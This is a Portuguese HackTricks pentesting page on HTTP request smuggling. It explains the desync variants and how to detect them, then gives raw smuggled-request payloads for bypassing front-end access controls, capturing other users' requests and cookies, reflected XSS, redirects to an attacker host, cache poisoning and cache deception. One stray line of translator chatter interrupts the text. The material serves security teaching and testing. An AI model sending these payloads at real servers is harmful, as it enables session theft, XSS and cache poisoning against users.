HTTP Request Smuggling / HTTP Desync Attack
Reading time: 35 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é
Esta vulnerabilidade ocorre quando uma dessincronização entre front-end proxies e o back-end permite que um atacante envie uma requisição HTTP que será interpretada como uma única requisição pelos front-end (load balance/reverse-proxy) e como 2 requisições pelo servidor de back-end.
Isso permite que um usuário modifique a próxima requisição que chegar ao back-end depois da sua.
Teoria
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
Realidade
O Front-End (um load-balance / Reverse Proxy) processa o cabeçalho Content-Length ou o Transfer-Encoding e o Back-end processa o outro, provocando uma dessincronização entre os 2 sistemas.
Isto pode ser muito crítico, pois um atacante poderá enviar uma requisição ao reverse proxy que será interpretada pelo back-end como 2 requisições diferentes. O perigo desta técnica reside no fato de que o back-end irá interpretar a 2ª requisição injetada como se ela tivesse vindo do próximo cliente e a requisição real desse cliente fará parte da requisição injetada.
Particularidades
Lembre-se que em HTTP um caractere de nova linha é composto por 2 bytes:
- Content-Length: Este cabeçalho usa um número decimal para indicar o número de bytes do body da requisição. O corpo espera-se terminar no último caractere; uma nova linha não é necessária no final da requisição.
- Transfer-Encoding: Este cabeçalho usa no body um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de tamanho. Este método de transferência deve terminar com um chunk de tamanho 0 seguido de 2 novas linhas:
0
- Connection: Pela minha experiência, é recomendado usar
Connection: keep-alive
na primeira requisição do Request Smuggling.
Visible - Hidden
O problema principal com http/1.1 é que todas as requisições seguem pelo mesmo socket TCP, então se for encontrada uma discrepância entre 2 sistemas que recebem requisições é possível enviar uma requisição que será tratada como 2 requisições diferentes (ou mais) pelo backend final (ou até por sistemas intermediários).
This blog post propõe novas formas de detectar ataques de desync a um sistema que não serão sinalizados por WAFs. Para isso ela apresenta os comportamentos Visible vs Hidden. O objetivo neste caso é tentar encontrar discrepâncias nas respostas usando técnicas que possam estar causando desyncs sem realmente explorar nada.
Por exemplo, enviar uma requisição com o header normal Host e um header " host" (com espaço) — se o backend reclamar sobre essa requisição (talvez porque o valor de " host" esteja incorreto) isso pode significar que o front-end não viu o header " host" enquanto o backend final o utilizou, altamente provável implicando uma dessincronização entre front-end e backend.
Isto seria uma discrepância Hidden-Visible.
Se o front-end tivesse levado em conta o header " host" mas o backend não, isso poderia ser uma situação Visible-Hidden.
Por exemplo, isso permitiu descobrir desyncs entre AWS ALB como front-end e IIS como backend. Isso aconteceu porque quando "Host: foo/bar" foi enviado, o ALB retornou 400, Server; awselb/2.0
, mas quando "Host : foo/bar" foi enviado, retornou 400, Server: Microsoft-HTTPAPI/2.0
, indicando que o backend estava enviando a resposta. Esta é uma situação Hidden-Visible (H-V).
Note que esta situação não está corrigida na AWS, mas pode ser prevenida configurando routing.http.drop_invalid_header_fields.enabled
e routing.http.desync_mitigation_mode = strictest
.
Exemplos Básicos
tip
Ao tentar explorar isso com Burp Suite desative Update Content-Length
e Normalize HTTP/1 line endings
no repeater porque alguns gadgets abusam de newlines, carriage returns e content-lengths malformados.
Os ataques de HTTP request smuggling são criados enviando requisições ambíguas que exploram discrepâncias em como front-end e back-end interpretam os cabeçalhos Content-Length
(CL) e Transfer-Encoding
(TE). Esses ataques podem se manifestar de diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como os servidores front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem quando os servidores processam a mesma requisição de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
Exemplos Básicos de Tipos de Vulnerabilidade
tip
À tabela anterior você deve adicionar a técnica TE.0, similar à técnica CL.0 mas usando Transfer-Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Processa a requisição com base no cabeçalho
Content-Length
. -
Back-End (TE): Processa a requisição com base no cabeçalho
Transfer-Encoding
. -
Cenário de Ataque:
-
O atacante envia uma requisição onde o valor do cabeçalho
Content-Length
não corresponde ao tamanho real do conteúdo. -
O front-end encaminha toda a requisição ao back-end, com base no valor de
Content-Length
. -
O back-end processa a requisição como chunked devido ao cabeçalho
Transfer-Encoding: chunked
, interpretando os dados restantes como uma requisição subsequente separada. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Processa a requisição com base no cabeçalho
Transfer-Encoding
. -
Back-End (CL): Processa a requisição com base no cabeçalho
Content-Length
. -
Cenário de Ataque:
-
O atacante envia uma requisição chunked onde o tamanho do chunk (
7b
) e o comprimento real do conteúdo (Content-Length: 4
) não coincidem. -
O front-end, honrando
Transfer-Encoding
, encaminha a requisição inteira ao back-end. -
O back-end, respeitando
Content-Length
, processa apenas a parte inicial da requisição (7b
bytes), deixando o restante como parte de uma requisição subsequente não intencional. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servidores: Ambos suportam
Transfer-Encoding
, mas um pode ser enganado a ignorá-lo via obfuscação. -
Cenário de Ataque:
-
O atacante envia uma requisição com cabeçalhos
Transfer-Encoding
obfuscados. -
Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
-
A parte não processada da requisição, como vista por um dos servidores, torna-se parte de uma requisição subsequente, levando ao smuggling.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Ambos os servidores processam a requisição baseado exclusivamente no cabeçalho
Content-Length
. - Este cenário tipicamente não leva a smuggling, pois há alinhamento em como ambos os servidores interpretam o tamanho da requisição.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Refere-se a cenários onde o cabeçalho
Content-Length
está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo. O back-end ignora o cabeçalhoContent-Length
(tratado como 0), mas o front-end o parseia. - É crucial para entender e construir ataques de smuggling, pois influencia como os servidores determinam o fim de uma requisição.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Igual ao anterior, mas usando TE.
- Técnica reported here
- Exemplo:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL
Cenário
Em uma situação 0.CL
, uma requisição é enviada com um Content-Length como:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
E o front-end não leva em conta o Content-Length
, então ele envia apenas a primeira request para o backend (até o 7 no exemplo). Entretanto, o backend vê o Content-Length
e fica esperando por um body que nunca chega, pois o front-end já está aguardando a resposta.
Porém, se existir uma request que possa ser enviada ao backend e que seja respondida antes do recebimento do body, esse deadlock não ocorrerá. Em IIS, por exemplo, isso acontece ao enviar requests para palavras proibidas como /con
(veja a documentation), dessa forma a request inicial será respondida diretamente e a segunda request conterá a request da vítima como:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
Isto é útil para causar uma desync, mas até agora não teve qualquer impacto.
However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.
Quebrando o servidor web
Esta técnica também é útil em cenários onde é possível quebrar um servidor web enquanto lê os dados HTTP iniciais mas sem fechar a conexão. Desta forma, o corpo da requisição HTTP será considerado como a próxima requisição HTTP.
For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive
, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.
Forçando via hop-by-hop headers
Abusando de hop-by-hop headers você pode indicar ao proxy para deletar o cabeçalho Content-Length ou Transfer-Encoding, permitindo assim que um HTTP request smuggling seja explorado.
Connection: Content-Length
For more information about hop-by-hop headers visit:
Encontrando HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser feito usando técnicas de temporização, que se baseiam em observar quanto tempo o servidor demora a responder a requisições manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
Encontrando vulnerabilidades CL.TE usando técnicas de temporização
-
Método:
-
Envie uma requisição que, se a aplicação for vulnerável, fará o servidor back-end esperar por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observação:
-
O servidor front-end processa a requisição com base no
Content-Length
e corta a mensagem prematuramente. -
O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
-
Indicadores:
-
Timeouts ou longos atrasos na resposta.
-
Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
Encontrando vulnerabilidades TE.CL usando técnicas de temporização
-
Método:
-
Envie uma requisição que, se a aplicação for vulnerável, fará o servidor back-end esperar por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observação:
- O servidor front-end processa a requisição com base no
Transfer-Encoding
e encaminha toda a mensagem. - O servidor back-end, esperando uma mensagem baseada em
Content-Length
, aguarda dados adicionais que nunca chegam, causando um atraso.
Outros métodos para encontrar vulnerabilidades
- Análise de Resposta Diferencial:
- Envie versões ligeiramente diferentes de uma requisição e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância no processamento.
- Uso de ferramentas automatizadas:
- Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de requisições ambíguas e analisando as respostas.
- Testes de variação de Content-Length:
- Envie requisições com valores variados de
Content-Length
que não correspondem ao comprimento real do conteúdo e observe como o servidor lida com essas incompatibilidades. - Testes de variação de Transfer-Encoding:
- Envie requisições com cabeçalhos
Transfer-Encoding
ofuscados ou malformados e monitore como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.
The Expect: 100-continue
header
Confira como esse cabeçalho pode ajudar a explorar um http desync em:
HTTP Request Smuggling Vulnerability Testing
Depois de confirmar a eficácia das técnicas de temporização, é crucial verificar se as requisições do cliente podem ser manipuladas. Um método simples é tentar envenenar suas requisições, por exemplo, fazendo com que uma requisição para /
retorne 404. Os exemplos CL.TE
e TE.CL
discutidos anteriormente em Basic Examples demonstram como envenenar a requisição de um cliente para provocar um 404, apesar do cliente tentar acessar outro recurso.
Considerações-chave
Ao testar request smuggling interferindo com outras requisições, tenha em mente:
- Conexões de rede distintas: As requisições "attack" e "normal" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
- URL e parâmetros consistentes: Procure usar URLs idênticas e os mesmos nomes de parâmetros para ambas as requisições. Aplicações modernas frequentemente direcionam requisições para servidores back-end específicos com base na URL e parâmetros. Igualar esses valores aumenta a probabilidade de que ambas as requisições sejam processadas pelo mesmo servidor, um pré-requisito para um ataque bem-sucedido.
- Tempos e condições de corrida: A requisição "normal", destinada a detectar interferência da requisição "attack", compete com outras requisições concorrentes da aplicação. Portanto, envie a requisição "normal" imediatamente após a requisição "attack". Aplicações muito ativas podem exigir várias tentativas para confirmação conclusiva da vulnerabilidade.
- Desafios de balanceamento de carga: Servidores front-end que atuam como balanceadores de carga podem distribuir requisições entre vários sistemas back-end. Se as requisições "attack" e "normal" forem para sistemas diferentes, o ataque não terá sucesso. Esse aspecto de balanceamento pode exigir várias tentativas para confirmar uma vulnerabilidade.
- Impacto involuntário em usuários: Se seu ataque afetar inadvertidamente a requisição de outro usuário (não a requisição "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
Distinguindo artefatos de pipelining HTTP/1.1 vs genuine request smuggling
A reutilização de conexão (keep-alive) e o pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam múltiplas requisições no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de um desync real do lado do servidor.
Por que o pipelining cria falsos positivos clássicos
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requisições e respostas no mesmo stream. No pipelining, o cliente envia múltiplas requisições em sequência e espera respostas na ordem. Um falso positivo comum é reenviar um payload malformado CL.0-style duas vezes em uma única conexão:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Por favor cole o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que você quer traduzido. Vou manter exatamente a mesma sintaxe Markdown/HTML e não traduzirei código, nomes de técnicas, palavras comuns de hacking, links ou caminhos.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Se o servidor ignorou o Content_Length
malformado, não há FE↔BE desync. Com reutilização, seu cliente na verdade enviou este fluxo de bytes, que o servidor interpretou como duas requisições independentes:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impacto: nenhum. Você apenas dessincronizou seu cliente em relação ao enquadramento do servidor.
tip
Módulos do Burp que dependem de reuse/pipelining: Turbo Intruder with requestsPerConnection>1
, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Testes decisivos: pipelining ou dessincronização real?
- Desative a reutilização e teste novamente
- No Burp Intruder/Repeater, desligue a reutilização HTTP/1 e evite "Send group in sequence".
- No Turbo Intruder, defina
requestsPerConnection=1
epipeline=False
. - Se o comportamento desaparecer, provavelmente era pipelining do lado do cliente, a menos que você esteja lidando com alvos connection-locked/stateful ou dessincronização no lado do cliente.
- Verificação de nested-response em HTTP/2
- Envie uma request HTTP/2. Se o corpo da resposta contiver uma resposta HTTP/1 completa aninhada, você provou um bug de parsing/dessincronização no backend em vez de um artefato puramente do cliente.
- Sonda de partial-requests para front-ends connection-locked
- Alguns FEs só reutilizam a conexão upstream BE se o cliente reutilizou a sua. Use partial-requests para detectar comportamento do FE que espelha a reutilização do cliente.
- Veja PortSwigger "Browser‑Powered Desync Attacks" para a técnica connection-locked.
- Sondas de estado
- Procure diferenças entre a primeira request e as subsequentes na mesma conexão TCP (roteamento/validação da primeira request).
- O Burp "HTTP Request Smuggler" inclui uma sonda de connection‑state que automatiza isso.
- Visualize o tráfego
- Use a extensão Burp "HTTP Hacker" para inspecionar concatenação e framing de mensagens diretamente enquanto experimenta com reuse e partial requests.
Connection‑locked request smuggling (reuse-required)
Alguns front-ends só reutilizam a conexão upstream quando o cliente reutiliza a sua. Smuggling real existe, mas é condicional à reutilização do lado do cliente. Para distinguir e provar impacto:
- Prove o bug no lado do servidor
- Use a verificação HTTP/2 nested-response, ou
- Use partial-requests para mostrar que o FE só reutiliza upstream quando o cliente o faz.
- Mostre impacto real mesmo se o abuso direto de socket entre usuários for bloqueado:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Fluxo do operador
- Reproduza com reutilização controlada (Turbo Intruder
requestsPerConnection=2
, ou Burp Repeater tab group → "Send group in sequence (single connection)"). - Então encadeie para primitives de cache/header-leak/control-bypass e demonstre impacto entre usuários ou de autorização.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Restrições de dessincronização do lado do cliente
Se você estiver mirando em browser-powered/client-side desync, a request maliciosa precisa ser enviável por um navegador cross-origin. Truques de obfuscação de headers não funcionarão. Foque em primitives acessíveis via navegação/fetch, e então pivote para cache poisoning, header disclosure, ou front-end control bypass quando componentes downstream refletirem ou cachearem respostas.
Para background e fluxos de trabalho end-to-end:
Browser HTTP Request Smuggling
Ferramentas para ajudar a decidir
- HTTP Hacker (Burp BApp Store): expõe comportamento HTTP de baixo nível e concatenação de sockets.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: controle preciso sobre connection reuse via
requestsPerConnection
. - Burp HTTP Request Smuggler: inclui uma sonda de connection‑state para detectar roteamento/validação da primeira request.
note
Trate efeitos que dependem apenas de reuse como não-problemas, a menos que você consiga provar dessincronização no lado do servidor e anexar impacto concreto (artefato de cache envenenado, header interno vazado que permite bypass de privilégios, controle do FE contornado, etc.).
Abusing HTTP Request Smuggling
Circunvencendo a segurança do Front-End via HTTP Request Smuggling
Às vezes, proxies front-end aplicam medidas de segurança, inspecionando requests recebidas. No entanto, essas medidas podem ser contornadas explorando HTTP Request Smuggling, permitindo acesso não autorizado a endpoints restritos. Por exemplo, acessar /admin
pode ser proibido externamente, com o proxy front-end bloqueando ativamente tais tentativas. Ainda assim, esse proxy pode deixar de inspeccionar requests embutidas dentro de uma request smuggled, deixando uma brecha para contornar essas restrições.
Considere os exemplos a seguir ilustrando como HTTP Request Smuggling pode ser usado para contornar controles de segurança do front-end, especificamente direcionando o caminho /admin
que normalmente é protegido pelo proxy do front-end:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
No ataque CL.TE, o cabeçalho Content-Length
é utilizado para a requisição inicial, enquanto a requisição incorporada subsequente utiliza o cabeçalho Transfer-Encoding: chunked
. O proxy front-end processa a requisição POST
inicial mas falha ao inspecionar a requisição incorporada GET /admin
, permitindo acesso não autorizado ao caminho /admin
.
Exemplo de TE.CL
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Por outro lado, no ataque TE.CL, a requisição inicial POST
usa Transfer-Encoding: chunked
, e a requisição embutida subsequente é processada com base no cabeçalho Content-Length
. Similar ao ataque CL.TE, o proxy front-end ignora a requisição GET /admin
escondida, concedendo inadvertidamente acesso ao caminho restrito /admin
.
Revelando reescrita de requisições no front-end
Aplicações frequentemente empregam um servidor front-end para modificar requisições recebidas antes de repassá-las ao servidor back-end. Uma modificação típica envolve adicionar headers, como X-Forwarded-For: <IP of the client>
, para repassar o IP do cliente ao back-end. Entender essas modificações pode ser crucial, pois pode revelar maneiras de contornar proteções ou descobrir informação ou endpoints ocultos.
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na resposta. Então, construa uma requisição, usando esse parâmetro por último, semelhante ao seguinte:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Nessa estrutura, componentes de requisição subsequentes são anexados após search=
, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da requisição subsequente.
É importante alinhar o cabeçalho Content-Length
da requisição aninhada com o tamanho real do conteúdo. É recomendável começar com um valor pequeno e aumentá-lo gradualmente: um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a requisição gere erro.
Essa técnica também se aplica no contexto de uma vulnerabilidade TE.CL, mas a requisição deve terminar com search=\r\n0
. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro search.
Esse método serve principalmente para entender as modificações nas requisições feitas pelo front-end proxy, funcionando essencialmente como uma investigação autodirigida.
Capturando as requisições de outros usuários
É possível capturar as requisições do próximo usuário anexando uma requisição específica como valor de um parâmetro durante uma operação POST. Veja como isso pode ser feito:
Anexando a seguinte requisição como valor de um parâmetro, você pode armazenar a requisição do cliente subsequente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Neste cenário, o parâmetro comment destina-se a armazenar o conteúdo da seção de comentários de um post em uma página de acesso público. Consequentemente, o conteúdo da requisição subsequente aparecerá como um comentário.
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na requisição smuggled. Para envios de formulário URL-encoded, esse delimitador é o caractere &
. Isso significa que o conteúdo capturado da requisição do usuário vítima vai parar no primeiro &
, que pode até fazer parte da query string.
Além disso, vale notar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Nesses casos, a requisição deve terminar com search=\r\n0
. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro search.
Usando HTTP request smuggling para explorar Reflected XSS
HTTP Request Smuggling pode ser aproveitado para explorar páginas web vulneráveis a Reflected XSS, oferecendo vantagens significativas:
- A interação com os usuários-alvo não é necessária.
- Permite a exploração de XSS em partes da requisição que são normalmente inacessíveis, como os cabeçalhos HTTP.
Em cenários onde um site é suscetível a Reflected XSS via o cabeçalho User-Agent, o payload a seguir demonstra como explorar essa vulnerabilidade:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
- Iniciando uma requisição
POST
, aparentemente típica, com um cabeçalhoTransfer-Encoding: chunked
para indicar o início do smuggling. - Seguindo com um
0
, marcando o fim do corpo da mensagem chunked. - Em seguida, é introduzida uma requisição
GET
smuggled, onde o cabeçalhoUser-Agent
é injetado com um script,<script>alert(1)</script>
, disparando o XSS quando o servidor processa essa requisição subsequente.
Ao manipular o User-Agent
através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade Reflected XSS de forma não-padrão, mas eficaz.
HTTP/0.9
caution
Caso o conteúdo do usuário seja refletido em uma resposta com um Content-type
como text/plain
, isso impede a execução do XSS. Se o servidor suportar HTTP/0.9 pode ser possível contornar isso!
A versão HTTP/0.9 precedeu a 1.0 e usa apenas verbos GET e não responde com headers, apenas o body.
In this writeup, isso foi abusado com um request smuggling e um endpoint vulnerável que responde com a entrada do usuário para smuggle uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma resposta HTTP/1.1 falsa (com headers e body), então a resposta passou a conter código JS executável válido com um Content-Type
de text/html
.
Explorando On-site Redirects com HTTP Request Smuggling
Aplicações frequentemente redirecionam de uma URL para outra usando o nome do host do cabeçalho Host
na URL de redirecionamento. Isso é comum em web servers como Apache e IIS. Por exemplo, solicitar uma pasta sem uma barra final resulta em um redirecionamento para incluir a barra:
GET /home HTTP/1.1
Host: normal-website.com
Resulta em:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando HTTP request smuggling para redirecionar usuários para um site externo. Por exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Esta smuggled request poderia fazer com que a próxima solicitação de usuário processada seja redirecionada para um site controlado pelo atacante:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Resulta em:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Neste cenário, a requisição de um usuário por um arquivo JavaScript é sequestrada. O atacante pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
Explorando Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning pode ser executado se qualquer componente da infraestrutura front-end armazenar conteúdo, tipicamente para melhorar a performance. Ao manipular a resposta do servidor, é possível poison the cache.
Anteriormente, observamos como as respostas do servidor podiam ser alteradas para retornar um erro 404 (consulte Basic Examples). De forma semelhante, é factível enganar o servidor para entregar o conteúdo de /index.html
em resposta a uma requisição por /static/include.js
. Consequentemente, o conteúdo de /static/include.js
é substituído no cache pelo de /index.html
, tornando /static/include.js
inacessível aos usuários e potencialmente levando a um Denial of Service (DoS).
Essa técnica torna-se particularmente potente se uma Open Redirect vulnerability for descoberta ou se houver um on-site redirect to an open redirect. Tais vulnerabilidades podem ser exploradas para substituir o conteúdo em cache de /static/include.js
por um script controlado pelo atacante, essencialmente permitindo um ataque Cross-Site Scripting (XSS) em larga escala contra todos os clientes que requisitarem o /static/include.js
atualizado.
Abaixo há uma ilustração de explorar cache poisoning combined with an on-site redirect to open redirect. O objetivo é alterar o conteúdo do cache de /static/include.js
para servir código JavaScript controlado pelo atacante:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3
. This request will be redirected to /post?postId=4
, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
Após um socket poisoning bem-sucedido, deve ser iniciada uma GET request para /static/include.js
. Essa request será contaminada pela request anterior (on-site redirect to open redirect) e buscará o conteúdo do script controlado pelo atacante.
Em seguida, qualquer request para /static/include.js
servirá o conteúdo em cache do script do atacante, efetivamente lançando um amplo XSS attack.
Using HTTP request smuggling to perform web cache deception
Qual é a diferença entre web cache poisoning e web cache deception?
- Em web cache poisoning, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
- Em web cache deception, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e em seguida o atacante recupera esse conteúdo do cache.
O atacante cria um smuggled request que busca conteúdo sensível específico de um usuário. Considere o seguinte exemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Se essa smuggled request contaminar uma entrada de cache destinada a conteúdo estático (por exemplo, /someimage.png
), os dados sensíveis da vítima de /private/messages
podem ser armazenados sob a entrada de cache do conteúdo estático. Consequentemente, o atacante poderia potencialmente recuperar esses dados sensíveis em cache.
Abusando do TRACE via HTTP Request Smuggling
In this post é sugerido que, se o servidor tiver o método TRACE habilitado, pode ser possível abusar dele com um HTTP Request Smuggling. Isso porque esse método refletirá qualquer header enviado ao servidor como parte do corpo da resposta. Por exemplo:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
